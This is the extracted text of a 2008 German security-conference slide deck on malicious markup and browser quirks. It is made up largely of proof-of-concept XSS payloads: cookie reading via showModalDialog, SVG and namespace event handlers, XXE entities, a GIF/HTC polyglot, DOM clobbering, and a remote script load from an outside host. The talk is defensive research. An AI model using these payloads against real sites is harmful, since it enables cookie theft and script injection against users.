1
I thought you were my friend!
Böses Markup, Browserlücken und andere Wunderlichkeiten
Vortrag von Mario Heiderich
12 / 2008
2
My online cock
 CSO für ormigo.com... (noch ein paar Tage zumindest)
 Web Retard
 FUD Peddler par excellence
 Speaker auf ph-neutral, OWASP Europe, etc.
 Freelance Security Researcher und Consultant
 http://php-ids.org, CSRFx, qUIpt, ...
 http://mario.heideri.ch/
3
Speisekarte
 Schein
 Selbstwahrnehmung der Browser Vendors
 Reputationen, Meinungen und anderer Bull
 Innehalten...
 Sein
 Vergessene Schätze
 PoCs, Exploits und Angiffsszenarien
4
WTF!?
Will man wissen was passiert
wenn man
'der sicherste Browser'
googelt...?
5
Selbstdarstellung
6
Selbstdarstellung
7
Selbstdarstellung
8
Nutzerverhalten
 Der normale User
 Klickt auf das blaue E um ins Internet rein zu kommen. Innen rein.
 Klickt Warnmeldungen weg. Alle.
 Web-Entwickler
 Kommen (noch) nicht um Firefox herum und klicken auch alles weg.
 Installieren ebenfalls alles – vor allem Extensions
 Mac User
 Nutzen Safari – weil von Apple. Surfen aussließlich im Apple Store.
 Security-Folks
 Nutzen Torpark mit NoScript, FlashBlock,
AdBlock Plus, RequestRodeo, etc..
9
Hackerfox
10
Timeline
 Firefox: 296 Advisories
 Internet Explorer: 337 Advisories
 Opera: 349 Advisories
 Safari: 69 Advisories (who gives a damn...?)
11
Und bald...
 Wird das Internet noch viel bunter
 HTML5, CSS3, Silverlight, Flash 11
 DOM Level 3, Client Side Storage
 SVG, Canvas, MathML, SMIL (die Wiedergeburt)
 XForms, XPath, Xquery, XRegurgitate...
12
Dabei...
...überschauen wir ja nicht mal mehr die Features die es
schon längst gibt...
13
Widerspruch?
 Hand heben – wer kennt...
 XBL?
 Data Islands?
 XXE?
 ”Elemente im globalen Geltungsbereich”?
 XHTML Namespaces?
14
Oder....
Die grausamen
Fallstricke
ganz normalen
HTMLs
15
Kommen wir aber zum Punkt
 Es folgen eine Reihe an konkreten
Beispielen
 Komisches, Nerviges und wirklich
Gefährliches
 Nichts zum Thema Clickjacking
16
Rahahaa...
17
showModalDialog()
<html>
<head>
<script>
onfocus = function() {
name = 'javascript:with(this)with(document)write(cookie)';
showModalDialog(
name,
null,
'unadorned:no,dialogWidth:1000%,dialogHeight:1000%,
scroll:0,status:0,resizable:0,edge:sunken'
);
onfocus = null;
}
</script>
</head>
<body>
</body>
</html>
PoC
18
Inline SVG
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>
<image src="x" onerror="alert(1)"></image>
PoC
19
XHTML Namespaces
<html xmlns:ø="http://www.w3.org/1999/xhtml">
<ø:script src="//0x.lv/" />
</html>
PoC
20
Inline Namespaces
<img:img
xmlns:img="http://www.w3.org/1999/xhtml"
src=""
onerror="alert(this)"
/>
PoC
21
XUL
<html>
<xul:image
onerror="alert(2)"
src="x"
xmlns:xul="http://mozilla.org/keymaster/gatekeeper/there.is.only.xul"
/>
</html>
PoC
22
XXE 1/2
(XML eXternal Entities)
<!DOCTYPE xss
[
<!ENTITY x "<script>alert(this)</script>">
]
>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
&x;
</head>
</html>
PoC
23
XXE 2/2
(XML eXternal Entities)
<!DOCTYPE html PUBLIC "" "" [
<!ENTITY copy "<script>alert(1)</script>">
<!ENTITY auml "<script>alert(2)</script>">
]>
<html xmlns="http://www.w3.org/1999/xhtml">
&copy;
&auml;
</html>
PoC
24
HTC via IMG 1/2
(HTML Components)
<html>
<head>
<style>
body {
behavior: url(test.gif.htc);
}
</style>
</head>
<body>
<h1>CLICK ME!</h1>
</body>
</html>
25
HTC via IMG 2/2
GIF89ad d ! Y, d d s� ���������� � ���� � �� �����
��� ��� �����������H� �扦 L Ģ L* Jʶ��� ������� � � �̦� �
� ��j� ��������N (8HXhx iX���� ���������� �������� �
GIF89ad.d..........!.Y
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
.,....d.d...s..................H...........L...
.............L*......J......j............N.....
................(8HXhx.........iX..;
26
Data Islands
<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload">
fooooo!
</label>
</body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(top)>]]>
</payload>
</x>
27
Hidden fields vs. CSS
<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
display: block;
height: 100px;
border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
alert(this.value);
};
</script>
PoC
28
Rogue Events 1/2
<body onkeypress="return false;"></body>
<script>
event = document.createEvent("KeyEvents");
event.initKeyEvent("keypress", true, true, null, true, false,
false, false, 0, 0);
document.dispatchEvent(event);
</script>
PoC
29
Rogue Events 2/2
<html>
<body>
<ul>
<li onselect="alert(this)">
<form onselect="alert(this)" action="#">
<input type="text" onselect="alert(this)" value="select
me!" />
</form>
</li>
</ul>
<html onclick="alert(this)">
<body onclick="alert(this)">
<div onclick="alert(this)"></div>
<div onclick="alert(this)">
<a href="#" onclick="alert(this)" id="test">foo</a>
</div>
</body>
</html>
PoC
30
Rogue Events 3/3
 Tastatureingaben komplett blocken
 Man kombiniere dies mit onunload und
unbeforeunload
 Framebusterbuster
 Firefox kann nicht einmal das DOM in
korrekter Reihenfolge traversen
 Ein Blumenstrauß an Angriffsvektoren
31
Label of Death 1/2
<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed
diam nonummy nibh euismod tincidunt ut laoreet dolore magna
aliquam erat volutpat. velit esse molestie consequat, vel illum
dolore eu feugiat nulla facilisis at vero et accumsan et iusto
odio dignissim qui blandit
<form action="test.php" method="post">
<input type="text" name="text" value="text" />
<input type="password" name="password" value="secret!" />
<input type="submit" id="submit" value="Go!" />
</form>
PoC
32
Label of Death 2/2
 Offene Label Tags feuern Klicks...
 ... echte Klicks!
 Auf nachfolgende Elemente mit passender ID
 Auf alles was zwichen Label und Element liegt
 Links, Formulare, Buttons...
33
XHR Request Method Fuzzing
<html>
<head>
<body>
<script>
var x = new XMLHttpRequest();
var m = '$$';
for(var i=0; i <= 21; i++) {
m += m;
}
x.open(m, '404.html', false);
x.send(null);
</script>
</body>
</html>
PoC
34
Snap!
35
And finally...
 DOM Redressing
 Über die guten alten IDs
 0day für IE8b2, IE7, IE6
 Naja fast – seit ca. zwei Wochen gefixt (silently)
 Traue Deinem DOM nicht!
36
DOM Redressing 1/3
<form id="a">
<input id="b" />
</form>
<script>alert(a.b)</script>
37
DOM Redressing 2/3
<a id="url" href="javascript:alert(1)">
<script>location=url;</script>
38
DOM Redressing 3/3
<form id="document" cookie="foo">
<script>alert(document.cookie)</script>
<form id="location" href="bar">
<script>alert(location.href)</script>
<form id="document">
<select id="body">bar</select>
</form>
<script>
alert(document.body.innerHTML)
</script>
PoC
39
Markupgeddon
40
Schlussfolgern wir...
 Labels sind böse – besser gesagt die FOR
Attribute...
 IDs sind böse
 HTML Header Injections sind böse
 Styles – sind... na? Böse!
 Fehlende Doctypes auch
 Inline SVG ist böse – externes SVG auch
41
Weiterhin böse sind...
 Tags wie NOEMBED und NOAPPLET
 Firefox
 Firefox
 Und wieder Firefox und sein proprietärer,
schlecht kopierter Feature-Müll
 Oncopy/Onpaste/Oncut Events
 UTF7 CSS, UTF7 XBL etc... - UTF7 ist generell
einfach nur böse
42
Daher...
 WYSIWYG niemals ohne HTMLPurifier oder
AntiSamy
 Kenne Dein Markup!
 Setze Deine Header!
 Nutze die MDC https://developer.mozilla.org/En
 Verlasse Dich niemals auf Blacklists!
 Niemals!
43
Und vergessen wir nicht...
 ...was uns droht
 XML ohne Namespaces - OMFG!
 Stripped Doctypes
 Azubis und Praktikanten
 Management Lunatics
 HTML 5 Madness
 OBJECT Tag als Multitalent
 SVG Fonts...
44
ChromeQuake - OMGWTF!!1
45
Ach ja, danke Trident 2.2!
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
<html>
<head>
<style type="text/css">
@font-face {
font-family: xss;
src: url(test.svg#xss) format("svg");
}
body {font: 0px "xss"; }
</style>
</head>
</html>
46
Vielen Dank!
 Fragen?
 Mehr Informationen und Beispielcode
 http://maliciousmarkup.blogspot.com/
 http://code.google.com/p/google-caja/wiki/AttackVectors
 http://sla.ckers.org/forum/read.php?2,15812
 Toools
 http://www.owasp.org/index.php/SpoC_007_-_OWASP_The_Anti-
 http://htmlpurifier.org/
47
BUY MYBUY MY
BOOK!!1BOOK!!1
OR SOMETHINGOR SOMETHING
HORRIBLE WILLHORRIBLE WILL
HAPPEN WHILEHAPPEN WHILE
YOU SLEEP!!!!!!YOU SLEEP!!!!!!